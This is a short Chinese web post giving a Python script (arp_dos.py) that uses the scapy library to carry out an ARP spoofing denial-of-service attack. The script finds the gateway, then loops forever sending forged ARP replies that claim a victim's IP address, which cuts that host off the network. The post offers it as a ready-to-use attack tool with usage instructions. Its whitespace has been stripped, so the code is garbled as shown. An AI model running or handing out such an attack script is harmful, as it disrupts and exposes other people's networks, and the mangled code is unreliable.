python写的ARP攻击代码实例
注:使用这个脚本需要安装scapy包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8 #example:sudo pythonarp_dos.py 192.168.1.103
fromscapy.allimportARP,send importos,re,sys
defget_gateway_ip(): t=os.popen('route-n') foriint: ifi.startswith('0.0.0.0'): r=re.split("\s+",i) returnr[1]
defget_gateway_hw(ip): t=os.popen('arp-e%s'%ip) foriint: ifi.startswith(ip): r=re.split("\s+",i) returnr[2] defhack(hackip): ip=get_gateway_ip() hw=get_gateway_hw(ip) arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip) #os.popen('ifconfigeth0%s'%hackip) while1: send(arp)
defhelp(): print("USEAGE:sudopythonarp_dos.py192.168.1.100")
defmain(): iflen(sys.argv)!=2: help() else: hack(sys.argv[1]) if__name__=="__main__": main()